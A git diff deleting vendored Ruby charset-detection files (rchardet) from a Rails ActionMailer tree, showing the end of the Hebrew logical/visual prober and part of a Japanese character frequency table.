-# (including final letters).
-#
-# The dominant difference between these charsets is their directionality.
-# "Visual" directionality means that the text is ordered as if the renderer is
-# not aware of a BIDI rendering algorithm. The renderer sees the text and 
-# draws it from left to right. The text itself when ordered naturally is read 
-# backwards. A buffer of Visual Hebrew generally looks like so:
-# "[last word of first line spelled backwards] [whole line ordered backwards
-# and spelled backwards] [first word of first line spelled backwards] 
-# [end of line] [last word of second line] ... etc' "
-# adding punctuation marks, numbers and English text to visual text is
-# naturally also "visual" and from left to right.
-# 
-# "Logical" directionality means the text is ordered "naturally" according to
-# the order it is read. It is the responsibility of the renderer to display 
-# the text from right to left. A BIDI algorithm is used to place general 
-# punctuation marks, numbers and English text in the text.
-#
-# Texts in x-mac-hebrew are almost impossible to find on the Internet. From 
-# what little evidence I could find, it seems that its general directionality
-# is Logical.
-#
-# To sum up all of the above, the Hebrew probing mechanism knows about two
-# charsets:
-# Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are
-#    backwards while line order is natural. For charset recognition purposes
-#    the line order is unimportant (In fact, for this implementation, even 
-#    word order is unimportant).
-# Logical Hebrew - "windows-1255" - normal, naturally ordered text.
-#
-# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be 
-#    specifically identified.
-# "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew
-#    that contain special punctuation marks or diacritics is displayed with
-#    some unconverted characters showing as question marks. This problem might
-#    be corrected using another model prober for x-mac-hebrew. Due to the fact
-#    that x-mac-hebrew texts are so rare, writing another model prober isn't 
-#    worth the effort and performance hit.
-#
-#### The Prober ####
-#
-# The prober is divided between two SBCharSetProbers and a HebrewProber,
-# all of which are managed, created, fed data, inquired and deleted by the
-# SBCSGroupProber. The two SBCharSetProbers identify that the text is in
-# fact some kind of Hebrew, Logical or Visual. The final decision about which
-# one is it is made by the HebrewProber by combining final-letter scores
-# with the scores of the two SBCharSetProbers to produce a final answer.
-#
-# The SBCSGroupProber is responsible for stripping the original text of HTML
-# tags, English characters, numbers, low-ASCII punctuation characters, spaces
-# and new lines. It reduces any sequence of such characters to a single space.
-# The buffer fed to each prober in the SBCS group prober is pure text in
-# high-ASCII.
-# The two SBCharSetProbers (model probers) share the same language model:
-# Win1255Model.
-# The first SBCharSetProber uses the model normally as any other
-# SBCharSetProber does, to recognize windows-1255, upon which this model was
-# built. The second SBCharSetProber is told to make the pair-of-letter
-# lookup in the language model backwards. This in practice exactly simulates
-# a visual Hebrew model using the windows-1255 logical Hebrew model.
-#
-# The HebrewProber is not using any language model. All it does is look for
-# final-letter evidence suggesting the text is either logical Hebrew or visual
-# Hebrew. Disjointed from the model probers, the results of the HebrewProber
-# alone are meaningless. HebrewProber always returns 0.00 as confidence
-# since it never identifies a charset by itself. Instead, the pointer to the
-# HebrewProber is passed to the model probers as a helper "Name Prober".
-# When the Group prober receives a positive identification from any prober,
-# it asks for the name of the charset identified. If the prober queried is a
-# Hebrew model prober, the model prober forwards the call to the
-# HebrewProber to make the final decision. In the HebrewProber, the
-# decision is made according to the final-letters scores maintained and Both
-# model probers scores. The answer is returned in the form of the name of the
-# charset identified, either "windows-1255" or "ISO-8859-8".
-
-# windows-1255 / ISO-8859-8 code points of interest
-module CharDet
-  FINAL_KAF = "\xea"
-  NORMAL_KAF = "\xeb"
-  FINAL_MEM = "\xed"
-  NORMAL_MEM = "\xee"
-  FINAL_NUN = "\xef"
-  NORMAL_NUN = "\xf0"
-  FINAL_PE = "\xf3"
-  NORMAL_PE = "\xf4"
-  FINAL_TSADI = "\xf5"
-  NORMAL_TSADI = "\xf6"
-
-  # Minimum Visual vs Logical final letter score difference.
-  # If the difference is below this, don't rely solely on the final letter score distance.
-  MIN_FINAL_CHAR_DISTANCE = 5
-
-  # Minimum Visual vs Logical model score difference.
-  # If the difference is below this, don't rely at all on the model score distance.
-  MIN_MODEL_DISTANCE = 0.01
-
-  VISUAL_HEBREW_NAME = "ISO-8859-8"
-  LOGICAL_HEBREW_NAME = "windows-1255"
-
-  class HebrewProber < CharSetProber
-    def initialize
-      super()
-      @_mLogicalProber = nil
-      @_mVisualProber = nil
-      reset()
-    end
-
-    def reset
-      @_mFinalCharLogicalScore = 0
-      @_mFinalCharVisualScore = 0
-      # The two last characters seen in the previous buffer,
-      # mPrev and mBeforePrev are initialized to space in order to simulate a word 
-      # delimiter at the beginning of the data
-      @_mPrev = ' '
-      @_mBeforePrev = ' '
-      # These probers are owned by the group prober.
-    end
-
-    def set_model_probers(logicalProber, visualProber)
-      @_mLogicalProber = logicalProber
-      @_mVisualProber = visualProber
-    end
-
-    def is_final(c)
-      return [FINAL_KAF, FINAL_MEM, FINAL_NUN, FINAL_PE, FINAL_TSADI].include?(c)
-    end
-
-    def is_non_final(c)
-      # The normal Tsadi is not a good Non-Final letter due to words like 
-      # 'lechotet' (to chat) containing an apostrophe after the tsadi. This 
-      # apostrophe is converted to a space in FilterWithoutEnglishLetters causing 
-      # the Non-Final tsadi to appear at an end of a word even though this is not 
-      # the case in the original text.
-      # The letters Pe and Kaf rarely display a related behavior of not being a 
-      # good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' for 
-      # example legally end with a Non-Final Pe or Kaf. However, the benefit of 
-      # these letters as Non-Final letters outweighs the damage since these words 
-      # are quite rare.
-      return [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE].include?(c)
-    end
-
-    def feed(aBuf)
-      # Final letter analysis for logical-visual decision.
-      # Look for evidence that the received buffer is either logical Hebrew or 
-      # visual Hebrew.
-      # The following cases are checked:
-      # 1) A word longer than 1 letter, ending with a final letter. This is an 
-      #    indication that the text is laid out "naturally" since the final letter 
-      #    really appears at the end. +1 for logical score.
-      # 2) A word longer than 1 letter, ending with a Non-Final letter. In normal
-      #    Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, should not end with
-      #    the Non-Final form of that letter. Exceptions to this rule are mentioned
-      #    above in isNonFinal(). This is an indication that the text is laid out
-      #    backwards. +1 for visual score
-      # 3) A word longer than 1 letter, starting with a final letter. Final letters 
-      #    should not appear at the beginning of a word. This is an indication that 
-      #    the text is laid out backwards. +1 for visual score.
-      # 
-      # The visual score and logical score are accumulated throughout the text and 
-      # are finally checked against each other in GetCharSetName().
-      # No checking for final letters in the middle of words is done since that case
-      # is not an indication for either Logical or Visual text.
-      # 
-      # We automatically filter out all 7-bit characters (replace them with spaces)
-      # so the word boundary detection works properly. [MAP]
-
-      if get_state() == ENotMe
-        # Both model probers say it's not them. No reason to continue.
-        return ENotMe
-      end
-
-      aBuf = filter_high_bit_only(aBuf)
-
-      for cur in aBuf.split(' ')
-        if cur == ' '
-          # We stand on a space - a word just ended
-          if @_mBeforePrev != ' '
-            # next-to-last char was not a space so self._mPrev is not a 1 letter word
-            if is_final(@_mPrev)
-              # case (1) [-2:not space][-1:final letter][cur:space]
-              @_mFinalCharLogicalScore += 1
-            elsif is_non_final(@_mPrev)
-              # case (2) [-2:not space][-1:Non-Final letter][cur:space]
-              @_mFinalCharVisualScore += 1
-            end
-          end
-        else
-          # Not standing on a space
-          if (@_mBeforePrev == ' ') and (is_final(@_mPrev)) and (cur != ' ')
-            # case (3) [-2:space][-1:final letter][cur:not space]
-            @_mFinalCharVisualScore += 1
-          end
-        end
-        @_mBeforePrev = @_mPrev
-        @_mPrev = cur
-      end
-
-      # Forever detecting, till the end or until both model probers return eNotMe (handled above)
-      return EDetecting
-    end
-
-    def get_charset_name
-      # Make the decision: is it Logical or Visual?
-      # If the final letter score distance is dominant enough, rely on it.
-      finalsub = @_mFinalCharLogicalScore - @_mFinalCharVisualScore
-      if finalsub >= MIN_FINAL_CHAR_DISTANCE
-        return LOGICAL_HEBREW_NAME
-      end
-      if finalsub <= -MIN_FINAL_CHAR_DISTANCE
-        return VISUAL_HEBREW_NAME
-      end
-
-      # It's not dominant enough, try to rely on the model scores instead.
-      modelsub = @_mLogicalProber.get_confidence() - @_mVisualProber.get_confidence()
-      if modelsub > MIN_MODEL_DISTANCE
-        return LOGICAL_HEBREW_NAME
-      end
-      if modelsub < -MIN_MODEL_DISTANCE
-        return VISUAL_HEBREW_NAME
-      end
-
-      # Still no good, back to final letter distance, maybe it'll save the day.
-      if finalsub < 0.0
-        return VISUAL_HEBREW_NAME
-      end
-
-      # (finalsub > 0 - Logical) or (don't know what to do) default to Logical.
-      return LOGICAL_HEBREW_NAME
-    end
-
-    def get_state
-      # Remain active as long as any of the model probers are active.
-      if (@_mLogicalProber.get_state() == ENotMe) and (@_mVisualProber.get_state() == ENotMe)
-        return ENotMe
-      end
-      return EDetecting
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jisfreq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jisfreq.rb
deleted file mode 100755
index 2245eeba..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jisfreq.rb
+++ /dev/null
@@ -1,570 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# Sampling from about 20M text materials include literature and computer technology
-#
-# Japanese frequency table, applied to both S-JIS and EUC-JP
-# They are sorted in order. 
-
-# 128  --> 0.77094
-# 256  --> 0.85710
-# 512  --> 0.92635
-# 1024 --> 0.97130
-# 2048 --> 0.99431
-#
-# Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58
-# Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191
-# 
-# Typical Distribution Ratio, 25% of IDR 
-
-module CharDet
-JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0
-
-# Char to FreqOrder table , 
-JIS_TABLE_SIZE = 4368
-
-JISCharToFreqOrder = [
-  40,   1,   6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, #   16
-3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247,  18, 179,5071, 856,1661, #   32
-1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, #   48
-2042,1061,1062,  48,  49,  44,  45, 433, 434,1040,1041, 996, 787,2997,1255,4305, #   64
-2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, #   80
-5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, #   96
-1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, #  112
-5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, #  128
-5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, #  144
-5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, #  160
-5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, #  176
-5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, #  192
-5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, #  208
-1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, #  224
-1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, #  240
-1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, #  256
-2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, #  272
-3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161,  26,3377,   2,3929,  20, #  288
-3691,  47,4100,  50,  17,  16,  35, 268,  27, 243,  42, 155,  24, 154,  29, 184, #  304
-   4,  91,  14,  92,  53, 396,  33, 289,   9,  37,  64, 620,  21,  39, 321,   5, #  320
-  12,  11,  52,  13,   3, 208, 138,   0,   7,  60, 526, 141, 151,1069, 181, 275, #  336
-1591,  83, 132,1475, 126, 331, 829,  15,  69, 160,  59,  22, 157,  55,1079, 312, #  352
- 109,  38,  23,  25,  10,  19,  79,5195,  61, 382,1124,   8,  30,5196,5197,5198, #  368
-5199,5200,5201,5202,5203,5204,5205,5206,  89,  62,  74,  34,2416, 112, 139, 196, #  384
- 271, 149,  84, 607, 131, 765,  46,  88, 153, 683,  76, 874, 101, 258,  57,  80, #  400
-  32, 364, 121,1508, 169,1547,  68, 235, 145,2999,  41, 360,3027,  70,  63,  31, #  416
-  43, 259, 262,1383,  99, 533, 194,  66,  93, 846, 217, 192,  56, 106,  58, 565, #  432
- 280, 272, 311, 256, 146,  82, 308,  71, 100, 128, 214, 655, 110, 261, 104,1140, #  448
-  54,  51,  36,  87,  67,3070, 185,2618,2936,2020,  28,1066,2390,2059,5207,5208, #  464
-5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, #  480
-5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, #  496
-5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, #  512
-4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, #  528
-5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, #  544
-5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, #  560
-5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, #  576
-5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, #  592
-5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, #  608
-5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, #  624
-5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, #  640
-5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, #  656
-5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, #  672
-3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, #  688
-5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, #  704
-5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, #  720
-5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, #  736
-5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, #  752
-5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, #  768
-5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, #  784
-5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, #  800
-5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, #  816
-5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, #  832
-5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, #  848
-5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, #  864
-5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, #  880
-5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, #  896
-5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, #  912
-5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, #  928
-5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, #  944
-5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, #  960
-5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, #  976
-5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, #  992
-5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008
-5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024
-5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040
-5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056
-5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072
-5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088
-5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104
-5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120
-5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136
-5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152
-5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168
-5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184
-5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200
-5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216
-5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232
-5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248
-5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264
-5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280
-5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296
-6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312
-6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328
-6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344
-6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360
-6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376
-6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392
-6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408
-6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424
-4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440
- 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456
- 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472
-1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619,  65,3302,2045, # 1488
-1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504
- 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520
-3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536
-3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552
- 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568
-3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584
-3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600
- 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616
-2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632
- 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648
-3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664
-1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680
- 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696
-1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712
- 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728
-2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744
-2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760
-2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776
-2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792
-1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808
-1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824
-1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840
-1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856
-2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872
-1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888
-2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904
-1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920
-1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936
-1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952
-1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968
-1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984
-1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000
- 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016
- 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032
-1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048
-2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064
-2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080
-2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096
-3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112
-3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128
- 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144
-3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160
-1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876,  78,2287,1482,1277, # 2176
- 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192
-2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208
-1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224
- 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240
-3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256
-4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272
-2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288
-1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304
-2601,1919,1078,  75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320
-1075, 292,3818,1756,2602, 317,  98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336
- 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352
- 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368
-1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384
-2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400
-2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416
-2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432
-3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448
-1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464
-2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480
- 359,2291,1676,  73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496
- 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512
- 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528
-1209,  96, 587,2166,1032, 260,1072,2153, 173,  94, 226,3244, 819,2006,4642,4114, # 2544
-2203, 231,1744, 782,  97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560
- 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576
-1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592
-1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608
- 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624
-1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640
-1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656
-1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672
- 764,2861,1853, 688,2429,1920,1462,  77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688
-2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704
- 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720
-2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736
-3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752
-2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768
-1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784
-6147, 441, 762,1771,3447,3607,3608,1904, 840,3037,  86, 939,1385, 572,1370,2445, # 2800
-1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816
-2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832
-1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848
